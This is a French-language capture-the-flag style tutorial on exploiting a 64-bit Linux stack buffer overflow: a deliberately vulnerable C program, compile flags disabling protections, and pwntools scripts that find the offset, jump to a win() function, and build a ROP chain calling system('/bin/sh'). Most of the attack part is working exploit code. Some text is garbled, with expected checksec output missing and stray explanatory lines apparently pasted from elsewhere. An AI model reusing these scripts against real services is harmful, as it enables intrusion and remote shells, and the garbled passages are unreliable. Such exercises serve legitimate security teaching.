Tuto concret, direct et opérationnel sur le pwn classique : l’exploitation de buffer overflow sur binaire Linux 64 bits. Je vais te donner tout ce dont tu as besoin pour comprendre, reproduire et monter tes propres exploits.
#include <stdio.h>
#include <unistd.h>
void win() {
write(1, "PWNED ! Flag : W0RM{G00D_B0Y}\n", 32);
}
void vuln() {
char buffer[80];
printf("[+] Buffer à l'adresse : %p\n", buffer);
read(0, buffer, 200); // overflow volontaire
}
int main() {
setbuf(stdout, NULL);
vuln();
return 0;
}
Compilation sans protections (exactement ce qu’on veut) :
gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie -w
checksec --file=vuln
Tu devrais voir :
Voici les explications pour les mécanismes de sécurité (ou leur absence) indiqués par votre outil d'analyse binaire (probablement checksec) :
Trouve l’adresse de la fonction win :
objdump -d vuln | grep win # ou nm -u vuln | grep win
Exemple de résultat : 0x0000000000401192
*Adresse mémoire spécifique (exprimée en hexadécimal) pointant vers une instruction ou une donnée située dans l'espace d'adressage du programme.
Avec pwntools (le meilleur outil) :
from pwn import *
p = process("./vuln")
# ou remote("target.com", 1337)
payload = cyclic(200)
p.sendline(payload)
p.wait()
core = p.corefile
offset = cyclic_find(core.read(core.rsp, 4))
print("Offset trouvé :", offset)
Supposons que l’offset soit 104 (très courant sur ce genre de challenge).
from pwn import *
# context.terminal = ['tmux', 'splitw', '-h']
context.binary = binary = ELF("./vuln")
context.log_level = "debug"
p = process(binary.path)
# p = remote("target", 9999)
win_addr = binary.symbols['win'] # ou 0x401192
# win_addr = p64(0x401192)
payload = b"A" * 104
payload += p64(win_addr)
p.sendline(payload)
p.interactive()
Si tu veux un shell au lieu d’une fonction win :
from pwn import *
p = process("./vuln")
binary = ELF("./vuln")
offset = 104
pop_rdi = 0x00000000004011b3 # rop gadget (trouvé avec ROPgadget ou pwntools)
payload = flat(
b"A" * offset,
pop_rdi,
next(binary.search(b"/bin/sh")), # si tu as ajouté une string /bin/sh
binary.plt.system
)
p.sendline(payload)
p.interactive()